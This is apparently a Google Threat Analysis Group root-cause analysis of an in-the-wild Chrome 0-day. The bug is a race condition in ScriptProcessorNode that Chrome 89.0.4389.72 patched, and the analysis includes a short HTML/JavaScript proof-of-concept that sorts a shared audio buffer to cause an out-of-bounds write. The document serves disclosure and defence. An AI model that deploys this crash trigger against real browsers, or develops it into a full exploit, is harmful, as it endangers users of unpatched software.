Clement Lecigne, Google Threat Analysis Group

The Basics

Disclosure or Patch Date: 2 March 2021

Product: Google Chrome

Advisory: https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop.html

Affected Versions: 89.0.4389.69 and previous

First Patched Version: 89.0.4389.72

Issue/Bug Reports:

Patch CL:

Bug-Introducing CL: N/A

Reporter(s): Alison Huffman of Microsoft Browser Vulnerability Research and Clement Lecigne of Google Threat Analysis Group

The Code

Proof-of-concept:

From crbug/1174582 by Alison Huffman of Microsoft Browser Vulnerability Research:

<html>
<body>
    <script type="text/javascript">
      function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms))
      }

      async function run() {
          let array = new Float32Array(Array(256));
          let context = new AudioContext();
          let node = context.createScriptProcessor();
          let source = context.createBufferSource();
          let buffer = context.createBuffer(1, 1024, context.sampleRate);
          let data = buffer.getChannelData(0);
          data.set(array);
          source.buffer = buffer;
          source.loop = true;
          source.connect(node);
          node.connect(context.destination);
          let inputBuffer = null;
          node.onaudioprocess = (event) => {
              inputBuffer = event.inputBuffer.getChannelData(0);
              node.onaudioprocess = undefined;
          }
          source.start();
          await sleep(500);
          while(true) {
            // not thread safe on non-shared arrays
            inputBuffer.sort()
          }
      }
    </script>
    <h1><a href="#" onclick="run()">Click Me!</a></h1>
    </body>
</html>

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: Race Condition

Vulnerability details:

There is a threading issue in ScriptProcessorNode::process() where input and output shared buffers are accessible concurrently by other threads without proper locking.

In the poc, inputBuffer is accessed concurrently from the audio thread and from the main thread at the same time causing an out-of-bounds write during std::sort().

The very same issue affected WebKit as well. We do not have any evidence that this vulnerability was used to target Safari users.

Patch analysis:

There were two different fixes implemented to address this bug:

  • Expand the scope of the existing mutex by locking the entire scope of the Process call within ScriptProcessorNode, and
  • Instead of sharing the buffers across the main and audio threads, creating new AudioBuffers for each onAudioProcess call.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

(Historical/present/future) context of bug:

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies): Under analysis

Exploit flow: Under analysis

Known cases of the same exploit flow:

Part of an exploit chain?

This exploit was most likely chained with a sandbox escape that we did not manage to retrieve.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

Found variants:

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

Ideas to mitigate the exploit flow:

Other potential improvements:

According to this comment, this feature was deprecated from the spec years ago. Remove the code.

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

These types of exploits are likely hard to detect generically.

Other References